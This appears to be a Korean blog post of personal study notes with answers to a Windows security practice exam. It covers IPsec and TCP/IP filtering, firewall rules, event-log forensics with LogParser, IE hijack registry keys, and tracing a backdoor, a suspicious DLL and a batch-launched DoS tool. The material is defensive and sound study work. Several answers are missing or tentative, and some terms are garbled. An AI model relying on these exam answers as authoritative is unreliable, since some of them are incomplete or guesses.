    (단, 보안정책 이름은 CIFS_DCOM Deny 로 지정한다.)

    => 로컬 보안 설정 > "로컬 컴퓨터의 IP 보안 정책"에
      새 정책을 "CIFS_DCOM Deny"로 등록 한다.


    2. 다른 서버에서도 적용 가능하도록 정책을 저장하여라[C:\Default_Care.ipsec].
    내보내기로 저장


    15.TCP/IP 필터링

    1. 공개적인 웹 서비스를 구축하기 위해 TCP/IP 필터링을
    사용하여 아래와 같이 구성하여라.
    ▶ 재시작 후에 웹 서비스 포트(80/TCP, 443/TCP)만 접근 가능하도록 설정하여라.
    => 네트워크 연결 > 로컬 네트워크 속성 > 인터넷 프로토콜 속성 >
       "고급" 클릭 > 고급 tcp/ip 설정에 "옵션" 탭에 > 속성
      
    TCP/IP 필터링 사용(모든 어댑터) 체크
    다음만 허용 체크후에 포트 추가
    tcp -> 80, 443
    udp -> 없음.
    ip  -> 6

    ip에 6번을 추가하는 이유
    Decimal Keyword Protocol
    ======= ======= ==============
    0 HOPOPT IPv6 Hop-by-Hop Option
    1 ICMP Internet Control Message
    2 IGMP Internet Group Management
    3 GGP Gateway-to-Gateway
    4 IP IP in IP (encapsulation)
    5 ST Stream
    6 TCP Transmission Control
    7 CBT CBT
    8 EGP Exterior Gateway Protocol
    9 IGP any private interior gateway
    (used by Cisco for their IGRP)


    2. IPSec을 사용하여 아래와 같이 구성하여라.
    ▶ 웹 서버가 Ping에 응답되지 않도록 설정하여라.
    (단, 보안정책 이름은 ICMP_ECHO Deny 로 지정한다.)
    =>
     머리속에 있음.


    16.인터넷 연결 방화벽ICF

    Windows XP에서 외부 공격을 효율적으로 차단하기 위해
    ICF(Internet Connection Firewall)을 사용 하기로 하였다.
    아래와 같이 구성하여라.

    1. 211.241.82.71에서만 원격 데스크톱 서비스에 접근 가능하도록 설정하여라.


    2. 원격 데스크톱 서비스에 접근 성공한 로그를 남기도록 설정하여라.


    3. ping 요청에 응답하지 않도록 설정하여라.


    17.이벤트 로그 분석

    ※C:LogParser를 사용하시오 

    피해 시스템에서 가져온 보안 이벤트 로그(C:sec_security.evt)를 분석하여
    아래 질문에 답하시오. (시간은 `2004-11-24 19:30:29` 의 형태로 입력해야 함.)

    1. 최초 침입자가 시스템에 네트워크로 로그온 성공한 시간과 사용자명,
    컴퓨터 이름은 무엇인가?
    =>
    네트워크 로그온 이벤트 ID : 540
    logparser "select * from sec_security.evt where eventid = 540" -o:csv > 515.csv

    [로그온 성공한 시간] : 2003-08-13 20:07:24
    [사용자명] : admin
    [컴퓨터 이름] : SHANLUZ

    Burst-Force Attack 성공 EventID : 680, 576, 540, 538
    네트워크 로그온 command session 연결 성공 EventID : 680, 576, 540, 515

    2. 원격 로그온에 사용된 프로세서는 무엇인가?

    => psexesvc.exe

    3. 두 번째 침입자가 시스템에 네트워크로 로그온 성공한 시간과 사용자명,
    컴퓨터 이름은 무엇인가?
    [로그온 성공한 시간] :2003-08-13 20:24:25
    [사용자명] : admin
    [컴퓨터 이름] : UHUHLY

    4. 원격 로그온에 사용된 프로세서의 윈도우 서비스 명은 무엇인가?
    =>Tlntsvr.exe


    18.인터넷 익스플로어 악성 프로그램 대응

    1. 인터넷 익스플로어를 실행할 때마다 인터넷 옵션의
    시작 페이지를 http://www.sis.or.kr 로 변경하였음에도 불구하고
    http://movie2.ce.ro/로 계속 변경 되고 있다.
    시작 페이지와 관련된 레지스트리 값을 모두 찾아
    http://www.sis.or.kr로 변경하여라.

    2. 인터넷 익스플로어 주소창에 등록되지 않은 도메인을 입력할 경우
    원하지 않는 사이트(http://prosearching.com)로 이동되고 있다.
    위와 관련된 레지스트리 값을 모두 찾아 www.sis.or.kr로 변경하라.

    => 아래에 나와있는 레지스트리를 찾아서 바꾸면된다.
    혹은 검색해서 변경해도 결과는 같다.

    HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\CustomizeSearch

    HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Search Page

    HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\StartPage


    HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\CustomizeSearch

    HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Search Page

    HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\SearchAssistant

    HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Start Page


    19.악성 프로그램 대응서비스

    윈도우 2000 Server 시스템이 해킹 당한 것으로 의심되었다.
    백신 프로그램으로 바이러스 감염여부를 조사하였지만 특별한 이상은 없었다.
    시스템 관리자가 유심히 지켜본 결과 특정 네트워크 포트를 통해 시스템에
    지속적으로 접근한다는 사실과 서버를 재 부팅하여도
    계속적으로 동일한 현상이 발생한다는 것을 알았다.

    1. 침입자가 설치한 백도어 파일 이름과 백도어 포트는 무엇인가?

    ※C:fport를 사용하시오

    fport 를 실행시키면

    pid3388 / c:\windows\system32\ismshrv.exe   이녀석이 실행되고 있음.

    20.악성 프로그램 대응dll

    윈도우 2000 Server 시스템이 해킹 당한 것으로 의심되었다.
    백신 프로그램으로 바이러스 감염여부를 조사하였지만 특별한 이상이 없고,
    윈도우 작업 관리자를 통해 실행중인 프로세서 목록을 점검하여도 의심될 만한
    프로그램이 없었다. 시스템 관리자가 유심히 지켜본 결과 침입자가
    동적 연결 파일(Dynamic Linking Library File)를 이용한다는 것과
    서버를 재 부팅하여도 계속적으로 동일한 현상을 발생 시킨다는 것을 알았다.
    또한 특정한 외부 웹 서버로 일정 시간마다 SYN패킷을 보내고 있다는 것도 알았다.

    1. 악성 프로그램이 이용하고 있는 서비스 이름과 DLL 파일, 포트는 무엇인가?

    ※C:\listdlls를 사용하시오

    listdlls -?  //도움말을 볼 수 있다.

    시간이 너무 오래 걸려서 explorer만 확인해보았다.

    c:> listdlls explorer.exe

    hgfs.dll 만 버젼 정보가 나오지 않는다.. 수상한것으로 판단했다.

    나머지 이런것들도 있단다.
    iexplorer.dll
    explorer.dll
    msexcel.dll


    21.악성 프로그램 대응.bat 레지스트리 실행

    네트워크 관리자로부터 현재 사용중인 Windows 컴퓨터가 이상 트래픽이
    발생된다는 보고를 받았다. CPU 사용률이나 메모리 점유율이 평소와 크게
    차이가 없고, netstat 명령을 이용하여 네트워크 접속 상황을 점검하여도
    특이할 사항이 발견되지 않았다. 그러나 윈도우 배치프로그램 실행할 때마다 동시에
    알지 못할 프로세서가 시작된다는 것을 알았다.

    1. 악성 프로그램 실행(.exe) 파일의 Original Filename은 무엇인가?

    2. 악성 프로그램 제작자의 Messenger ID는 무엇인가?

    3. 악성 프로그램이 변경한 시스템 환경을 원래대로 복구 하여라.

    ※C:\exefileinfo, Process Explorer등을 사용하시오

    => 프로세스 익스플로러를 실행시킨다.
    윈도우 배치 프로그램이 수상하다 했으니 system32\ 파일을 검색해보자

    3개에 배치파일일 검색된다.

    ready.bat
    start.bat
    parsng.bat

    ready.bat을 실행 시키로 프로세스 익스플로러를 확인해 보니

    igmp.exe 라는 프로그램이 지속적으로 실행 종료를 반복하고 있다.

    igmp.exe 프로그램도 system32\ 폴더에 있다.

    exefileinfo 프로그램을 이용하여 igmp.exe를 열어보면
    제일 아래쪽에 파일 설명이 나와있다.
    파일 설명 : port of kiss of death dos attack to windows
    버젼 : 1.2.0.0
    저작권 : Kalibre (metinsdr@hotmail.com)
    최초파일명 : bomba.exe

    2011/01/27 01:06 2011/01/27 01:06